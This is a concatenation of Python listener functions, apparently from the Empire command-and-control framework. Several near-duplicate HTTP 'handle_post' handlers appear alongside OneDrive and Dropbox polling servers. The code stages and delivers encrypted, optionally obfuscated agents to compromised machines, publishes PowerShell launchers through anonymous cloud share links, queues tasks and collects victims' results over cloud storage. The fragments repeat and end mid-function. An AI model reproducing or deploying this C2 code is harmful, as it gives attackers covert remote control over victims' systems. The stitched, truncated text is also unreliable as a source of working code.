def handle_post(request_uri): """ Handle an agent POST request. """ stagingKey = listenerOptions['StagingKey']['Value'] clientIP = request.remote_addr # the routing packet should be at the front of the binary request.data # NOTE: this can also go into a cookie/etc. dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, request.get_data(), listenerOptions, clientIP) #print dataResults if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if results: if results.startswith('STAGE2'): # TODO: document the exact results structure returned sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[ sessionID]['sessionKey'] dispatcher.send( "[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent( language=language, listenerOptions=listenerOptions) encryptedAgent = encryption.aes_encrypt_then_hmac( sessionKey, agentCode) # TODO: wrap ^ in a routing packet? return make_response(encryptedAgent, 200) elif results[:10].lower().startswith( 'error') or results[:10].lower().startswith( 'exception'): dispatcher.send( "[!] Error returned for results by %s : %s" % (clientIP, results), sender='listeners/http') return make_response(self.default_response(), 200) elif results == 'VALID': dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') return make_response(self.default_response(), 200) else: return make_response(results, 200) else: return make_response(self.default_response(), 200) else: return make_response(self.default_response(), 200)
def handle_post(request_uri): """ Handle an agent POST request. """ stagingKey = listenerOptions['StagingKey']['Value'] clientIP = request.remote_addr requestData = request.get_data() dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http') # the routing packet should be at the front of the binary request.data # NOTE: this can also go into a cookie/etc. dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if results: if results.startswith('STAGE2'): # TODO: document the exact results structure returned if ':' in clientIP: clientIP = '[' + str(clientIP) + ']' sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') hopListenerName = request.headers.get('Hop-Name') try: hopListener = helpers.get_listener_options(hopListenerName) tempListenerOptions = copy.deepcopy(listenerOptions) tempListenerOptions['Host']['Value'] = hopListener['Host']['Value'] except TypeError: tempListenerOptions = listenerOptions # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) # TODO: wrap ^ in a routing packet? return make_response(encryptedAgent, 200) elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http') return make_response(self.default_response(), 200) elif results == 'VALID': dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') return make_response(self.default_response(), 200) else: return make_response(results, 200) else: return make_response(self.default_response(), 200) else: return make_response(self.default_response(), 200)
def handle_post(request_uri): """ Handle an agent POST request. """ stagingKey = listenerOptions['StagingKey']['Value'] clientIP = request.remote_addr # the routing packet should be at the front of the binary request.data # NOTE: this can also go into a cookie/etc. try: requestData = base64.b64decode(request.get_data()) except: requestData = None dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if results: if results.startswith('STAGE2'): # TODO: document the exact results structure returned sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http_com') # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) encrypted_agent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) # TODO: wrap ^ in a routing packet? return make_response(base64.b64encode(encrypted_agent), 200) elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com') return make_response(self.default_response(), 200) elif results == 'VALID': dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com') return make_response(self.default_response(), 200) else: return make_response(base64.b64encode(results), 200) else: return make_response(self.default_response(), 200) else: return make_response(self.default_response(), 200)
def start_server(self, listenerOptions): # Utility functions to handle auth tasks and initial setup def get_token(client_id, client_secret, code): params = { 'client_id': client_id, 'client_secret': client_secret, 'grant_type': 'authorization_code', 'scope': 'files.readwrite offline_access', 'code': code, 'redirect_uri': redirect_uri } try: r = s.post( 'https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params) r_token = r.json() r_token['expires_at'] = time.time() + (int)( r_token['expires_in']) - 15 r_token['update'] = True return r_token except KeyError as e: print( helpers.color( "[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))) raise def renew_token(client_id, client_secret, refresh_token): params = { 'client_id': client_id, 'client_secret': client_secret, 'grant_type': 'refresh_token', 'scope': 'files.readwrite offline_access', 'refresh_token': refresh_token, 'redirect_uri': redirect_uri } try: r = s.post( 'https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params) r_token = r.json() r_token['expires_at'] = time.time() + (int)( r_token['expires_in']) - 15 r_token['update'] = True return r_token except KeyError as e: print( helpers.color( "[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))) raise def test_token(token): headers = s.headers.copy() headers['Authorization'] = 'Bearer ' + token request = s.get("%s/drive" % base_url, headers=headers) return request.ok def setup_folders(): if not (test_token(token['access_token'])): raise ValueError( "Could not set up folders, access token invalid") base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder)) if not (base_object.status_code == 200): print(helpers.color("[*] Creating %s folder" % base_folder)) params = { '@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder } base_object = s.post("%s/drive/items/root/children" % base_url, json=params) else: message = "[*] {} folder already exists".format(base_folder) signal = json.dumps({'print': True, 'message': message}) dispatcher.send( signal, sender="listeners/onedrive/{}".format(listener_name)) for item in [staging_folder, taskings_folder, results_folder]: item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item)) if not (item_object.status_code == 200): print( helpers.color("[*] Creating %s/%s folder" % (base_folder, item))) params = { '@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item } item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params) else: message = "[*] {}/{} already exists".format( base_folder, item) signal = json.dumps({'print': True, 'message': message}) dispatcher.send( signal, sender="listeners/onedrive/{}".format(listener_name)) def upload_launcher(): ps_launcher = self.mainMenu.stagers.generate_launcher( listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none') r = s.put( "%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"), data=ps_launcher, headers={"Content-Type": "text/plain"}) if r.status_code == 201 or r.status_code == 200: item = r.json() r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']), json={ "scope": "anonymous", "type": "view" }, headers={"Content-Type": "application/json"}) launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json( )['shareId'] def upload_stager(): ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token']) r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"), data=ps_stager, headers={"Content-Type": "application/octet-stream"}) if r.status_code == 201 or r.status_code == 200: item = r.json() r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']), json={ "scope": "anonymous", "type": "view" }, headers={"Content-Type": "application/json"}) stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json( )['shareId'] # Different domain for some reason? self.mainMenu.listeners.activeListeners[listener_name][ 'stager_url'] = stager_url else: print( helpers.color("[!] Something went wrong uploading stager")) message = r.content signal = json.dumps({'print': True, 'message': message}) dispatcher.send( signal, sender="listeners/onedrive/{}".format(listener_name)) listener_options = copy.deepcopy(listenerOptions) listener_name = listener_options['Name']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] client_id = listener_options['ClientID']['Value'] client_secret = listener_options['ClientSecret']['Value'] auth_code = listener_options['AuthCode']['Value'] refresh_token = listener_options['RefreshToken']['Value'] base_folder = listener_options['BaseFolder']['Value'] staging_folder = listener_options['StagingFolder']['Value'].strip('/') taskings_folder = listener_options['TaskingsFolder']['Value'].strip( '/') results_folder = listener_options['ResultsFolder']['Value'].strip('/') redirect_uri = listener_options['RedirectURI']['Value'] base_url = "https://graph.microsoft.com/v1.0" s = Session() if refresh_token: token = renew_token(client_id, client_secret, refresh_token) message = "[*] Refreshed auth token" signal = json.dumps({'print': True, 'message': message}) dispatcher.send( signal, sender="listeners/onedrive/{}".format(listener_name)) else: token = get_token(client_id, client_secret, auth_code) message = "[*] Got new auth token" signal = json.dumps({'print': True, 'message': message}) dispatcher.send(signal, sender="listeners/onedrive") s.headers['Authorization'] = "Bearer " + token['access_token'] setup_folders() while True: # Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL try: if listener_name in list( self.mainMenu.listeners.activeListeners.keys()): upload_stager() upload_launcher() break else: time.sleep(1) except AttributeError: time.sleep(1) while True: time.sleep(int(poll_interval)) try: # Wrap the whole loop in a try/catch so one error won't kill the listener if time.time() > token[ 'expires_at']: # Get a new token if the current one has expired token = renew_token(client_id, client_secret, token['refresh_token']) s.headers[ 'Authorization'] = "Bearer " + token['access_token'] message = "[*] Refreshed auth token" signal = json.dumps({'print': True, 'message': message}) dispatcher.send( signal, sender="listeners/onedrive/{}".format(listener_name)) upload_stager() if token['update']: self.mainMenu.listeners.update_listener_options( listener_name, "RefreshToken", token['refresh_token']) token['update'] = False search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder)) for item in search.json( )['children']: # Iterate all items in the staging folder try: reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name']) if not reg: continue agent_name, stage = reg.groups() if stage == '1': # Download stage 1, upload stage 2 message = "[*] Downloading {}/{}/{} {}".format( base_folder, staging_folder, item['name'], item['size']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) content = s.get( item['@microsoft.graph.downloadUrl']).content lang, return_val = \ self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format( base_folder, staging_folder, agent_name, str(len(return_val))) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val) message = "[*] Deleting {}/{}/{}".format( base_folder, staging_folder, item['name']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) s.delete("%s/drive/items/%s" % (base_url, item['id'])) if stage == '3': # Download stage 3, upload stage 4 (full agent code) message = "[*] Downloading {}/{}/{}, {} bytes".format( base_folder, staging_folder, item['name'], item['size']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) content = s.get( item['@microsoft.graph.downloadUrl']).content lang, return_val = \ self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] session_key = self.mainMenu.agents.agents[ agent_name]['sessionKey'] agent_token = renew_token( client_id, client_secret, token['refresh_token'] ) # Get auth and refresh tokens for the agent to use agent_code = str( self.generate_agent( listener_options, client_id, client_secret, agent_token['access_token'], agent_token['refresh_token'], redirect_uri, lang)) enc_code = encryption.aes_encrypt_then_hmac( session_key, agent_code) message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format( base_folder, staging_folder, agent_name, str(len(enc_code))) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code) message = "[*] Deleting {}/{}/{}".format( base_folder, staging_folder, item['name']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) s.delete("%s/drive/items/%s" % (base_url, item['id'])) except Exception as e: print( helpers.color( "[!] Could not handle agent staging for listener %s, continuing" % listener_name)) message = traceback.format_exc() signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/onedrive/{}".format( listener_name)) agent_ids = self.mainMenu.agents.get_agents_for_listener( listener_name) for agent_id in agent_ids: # Upload any tasks for the current agents if isinstance(agent_id, bytes): agent_id = agent_id.decode('UTF-8') task_data = self.mainMenu.agents.handle_agent_request( agent_id, 'powershell', staging_key, update_lastseen=True) if task_data: try: r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id)) if r.status_code == 200: # If there's already something there, download and append the new data task_data = r.content + task_data message = "[*] Uploading agent tasks for {}, {} bytes".format( agent_id, str(len(task_data))) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data=task_data) except Exception as e: message = "[!] Error uploading agent tasks for {}, {}".format( agent_id, e) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder)) for item in search.json( )['children']: # For each file in the results folder try: agent_id = item['name'].split(".")[0] for i in range(len(agent_ids)): agent_ids[i] = agent_ids[i].decode('UTF-8') if not agent_id in agent_ids: # If we don't recognize that agent, upload a message to restage print( helpers.color( "[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']))) s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data="RESTAGE") s.delete("%s/drive/items/%s" % (base_url, item['id'])) continue try: # Update the agent's last seen time, from the file timestamp seen_time = datetime.strptime( item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ") except: # sometimes no ms for some reason... seen_time = datetime.strptime( item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ") seen_time = helpers.utc_to_local(seen_time) self.mainMenu.agents.update_agent_lastseen_db( agent_id, seen_time) # If the agent is just checking in, the file will only be 1 byte, so no results to fetch if (item['size'] > 1): message = "[*] Downloading results from {}/{}, {} bytes".format( results_folder, item['name'], item['size']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) r = s.get(item['@microsoft.graph.downloadUrl']) self.mainMenu.agents.handle_agent_data( staging_key, r.content, listener_options, update_lastseen=True) message = "[*] Deleting {}/{}".format( results_folder, item['name']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/onedrive/{}".format( listener_name)) s.delete("%s/drive/items/%s" % (base_url, item['id'])) except Exception as e: message = "[!] Error handling agent results for {}, {}".format( item['name'], e) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/onedrive/{}".format( listener_name)) except Exception as e: print( helpers.color( "[!] Something happened in listener %s: %s, continuing" % (listener_name, e))) message = traceback.format_exc() signal = json.dumps({'print': False, 'message': message}) dispatcher.send( signal, sender="listeners/onedrive/{}".format(listener_name)) s.close()
def handle_post(request_uri): """ Handle an agent POST request. """ stagingKey = listenerOptions['StagingKey']['Value'] clientIP = request.remote_addr # the routing packet should be at the front of the binary request.data # NOTE: this can also go into a cookie/etc. try: requestData = base64.b64decode(request.get_data()) except: requestData = None dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, requestData, listenerOptions, clientIP) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if isinstance(results, str): results = results.encode('UTF-8') if results: if results.startswith(b'STAGE2'): # TODO: document the exact results structure returned sessionID = results.split(b' ')[1].strip().decode( 'UTF-8') sessionKey = self.mainMenu.agents.agents[ sessionID]['sessionKey'] listenerName = self.options['Name']['Value'] message = "[*] Sending agent (stage 2) to {} at {}".format( sessionID, clientIP) signal = json.dumps({ 'print': True, 'message': message }) dispatcher.send( signal, sender="listeners/http_com/{}".format( listenerName)) # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent( language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu. obfuscateCommand) encrypted_agent = encryption.aes_encrypt_then_hmac( sessionKey, agentCode) # TODO: wrap ^ in a routing packet? return make_response( base64.b64encode(encrypted_agent), 200) elif results[:10].lower().startswith( b'error') or results[:10].lower().startswith( b'exception'): listenerName = self.options['Name']['Value'] message = "[!] Error returned for results by {} : {}".format( clientIP, results) signal = json.dumps({ 'print': True, 'message': message }) dispatcher.send( signal, sender="listeners/http_com/{}".format( listenerName)) return make_response(self.default_response(), 200) elif results == b'VALID': listenerName = self.options['Name']['Value'] message = "[*] Valid results return by {}".format( clientIP) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send( signal, sender="listeners/http_com/{}".format( listenerName)) return make_response(self.default_response(), 200) else: return make_response(base64.b64encode(results), 200) else: return make_response(self.default_response(), 404) else: return make_response(self.default_response(), 404)
def start_server(self, listenerOptions): """ Threaded function that actually starts up polling server for Dropbox polling communication. ./Empire/ ./staging/ stager.ps1 SESSION_[1-4].txt ./taskings/ SESSIONID.txt ./results/ SESSIONID.txt /Empire/staging/stager.ps1 -> RC4staging(stager.ps1) uploaded by server /Empire/staging/sessionID_1.txt -> AESstaging(PublicKey) uploaded by client /Empire/staging/sessionID_2.txt -> RSA(nonce+AESsession) uploaded by server /Empire/staging/sessionID_3.txt -> AESsession(nonce+sysinfo) uploaded by client /Empire/staging/sessionID_4.txt -> AESsession(agent.ps1) uploaded by server client dropbox server <- upload /Empire/staging/stager.ps1 read /Empire/staging/stager -> <- return stager generate sessionID upload /Empire/staging/sessionID_1.txt -> <- read /Empire/staging/sessionID_1.txt <- upload /Empire/staging/sessionID_2.txt read /Empire/staging/sessionID_2.txt -> <- /Empire/staging/sessionID_2.txt upload /Empire/staging/sessionID_3.txt -> <- read /Empire/staging/sessionID_3.txt <- upload /Empire/staging/sessionID_4.txt read /Empire/staging/sessionID_4.txt -> <- /Empire/staging/sessionID_4.txt <start beaconing> <- upload /Empire/taskings/sessionID.txt read /Empire/taskings/sessionID.txt -> <- /Empire/taskings/sessionID.txt delete /Empire/taskings/sessionID.txt -> execute code upload /Empire/results/sessionID.txt -> <- read /Empire/results/sessionID.txt <- delete /Empire/results/sessionID.txt """ def download_file(dbx, path): # helper to download a file at the given path try: md, res = dbx.files_download(path) except dropbox.exceptions.HttpError as err: dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox") return None return res.content def upload_file(dbx, path, data): # helper to upload a file to the given path try: dbx.files_upload(data, path) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox") def delete_file(dbx, path): # helper to delete a file at the given path try: dbx.files_delete(path) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox") # make a copy of the currently set listener options for later stager/agent generation listenerOptions = copy.deepcopy(listenerOptions) stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] listenerName = listenerOptions['Name']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) dbx = dropbox.Dropbox(apiToken) # ensure that the access token supplied is valid try: dbx.users_get_current_account() except dropbox.exceptions.AuthError as err: print helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web.") return False # setup the base folder structure we need try: dbx.files_create_folder(stagingFolder) except dropbox.exceptions.ApiError: dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox") try: dbx.files_create_folder(taskingsFolder) except dropbox.exceptions.ApiError: dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox") try: dbx.files_create_folder(resultsFolder) except dropbox.exceptions.ApiError: dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox") # upload the stager.ps1 code stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell') stagerCodepy = self.generate_stager(listenerOptions=listenerOptions, language='python') try: # delete stager if it exists delete_file(dbx, "%s/debugps" % (stagingFolder)) delete_file(dbx, "%s/debugpy" % (stagingFolder)) dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder)) dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder)) except dropbox.exceptions.ApiError: print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder)) return while True: time.sleep(int(pollInterval)) # search for anything in /Empire/staging/* for match in dbx.files_search(stagingFolder, "*.txt").matches: fileName = str(match.metadata.path_display) relName = fileName.split('/')[-1][:-4] sessionID, stage = relName.split('_') sessionID = sessionID.upper() if '_' in relName: if stage == '1': try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") continue stageData = res.content dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: # TODO: more error checking try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") try: stageName = "%s/%s_2.txt" % (stagingFolder, sessionID) dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx') dbx.files_upload(results, stageName) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") if stage == '3': try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") continue stageData = res.content dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions) if dataResults and len(dataResults) > 0: # print "dataResults:",dataResults for (language, results) in dataResults: if results.startswith('STAGE2'): sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx') try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") try: fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID)) dbx.files_delete(fileName2) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox") # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) returnResults = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) try: stageName = "%s/%s_4.txt" % (stagingFolder, sessionID) dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx') dbx.files_upload(returnResults, stageName) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") # get any taskings applicable for agents linked to this listener sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName) for sessionID in sessionIDs: taskingData = self.mainMenu.agents.handle_agent_request(sessionID, 'powershell', stagingKey) if taskingData: try: taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID) # if the tasking file still exists, download/append + upload again existingData = None try: md, res = dbx.files_download(taskingFile) existingData = res.content except: existingData = None if existingData: taskingData = taskingData + existingData dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx') dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite) except dropbox.exceptions.ApiError as e: dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox") # check for any results returned for match in dbx.files_search(resultsFolder, "*.txt").matches: fileName = str(match.metadata.path_display) sessionID = fileName.split('/')[-1][:-4] dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox") try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") continue responseData = res.content try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
if stage == '3': #Download stage 3, upload stage 4 (full agent code) message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name)) content = s.get(item['@microsoft.graph.downloadUrl']).content lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] session_key = self.mainMenu.agents.agents[agent_name]['sessionKey'] agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'], agent_token['refresh_token'], redirect_uri, lang)) enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code) message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code))) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name)) s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code) message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name']) signal = json.dumps({ 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name)) s.delete("%s/drive/items/%s" % (base_url, item['id']))
def start_server(self, listenerOptions): """ Threaded function that actually starts up polling server for Dropbox polling communication. ./Empire/ ./staging/ stager.ps1 SESSION_[1-4].txt ./taskings/ SESSIONID.txt ./results/ SESSIONID.txt /Empire/staging/stager.ps1 -> RC4staging(stager.ps1) uploaded by server /Empire/staging/sessionID_1.txt -> AESstaging(PublicKey) uploaded by client /Empire/staging/sessionID_2.txt -> RSA(nonce+AESsession) uploaded by server /Empire/staging/sessionID_3.txt -> AESsession(nonce+sysinfo) uploaded by client /Empire/staging/sessionID_4.txt -> AESsession(agent.ps1) uploaded by server client dropbox server <- upload /Empire/staging/stager.ps1 read /Empire/staging/stager -> <- return stager generate sessionID upload /Empire/staging/sessionID_1.txt -> <- read /Empire/staging/sessionID_1.txt <- upload /Empire/staging/sessionID_2.txt read /Empire/staging/sessionID_2.txt -> <- /Empire/staging/sessionID_2.txt upload /Empire/staging/sessionID_3.txt -> <- read /Empire/staging/sessionID_3.txt <- upload /Empire/staging/sessionID_4.txt read /Empire/staging/sessionID_4.txt -> <- /Empire/staging/sessionID_4.txt <start beaconing> <- upload /Empire/taskings/sessionID.txt read /Empire/taskings/sessionID.txt -> <- /Empire/taskings/sessionID.txt delete /Empire/taskings/sessionID.txt -> execute code upload /Empire/results/sessionID.txt -> <- read /Empire/results/sessionID.txt <- delete /Empire/results/sessionID.txt """ def download_file(dbx, path): # helper to download a file at the given path try: md, res = dbx.files_download(path) except dropbox.exceptions.HttpError as err: dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox") return None return res.content def upload_file(dbx, path, data): # helper to upload a file to the given path try: dbx.files_upload(data, path) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox") def delete_file(dbx, path): # helper to delete a file at the given path try: dbx.files_delete(path) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox") # make a copy of the currently set listener options for later stager/agent generation listenerOptions = copy.deepcopy(listenerOptions) stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] listenerName = listenerOptions['Name']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % ( baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % ( baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) dbx = dropbox.Dropbox(apiToken) # ensure that the access token supplied is valid try: dbx.users_get_current_account() except dropbox.exceptions.AuthError as err: print helpers.color( "[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web." ) return False # setup the base folder structure we need try: dbx.files_create_folder(stagingFolder) except dropbox.exceptions.ApiError: dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox") try: dbx.files_create_folder(taskingsFolder) except dropbox.exceptions.ApiError: dispatcher.send("[*] 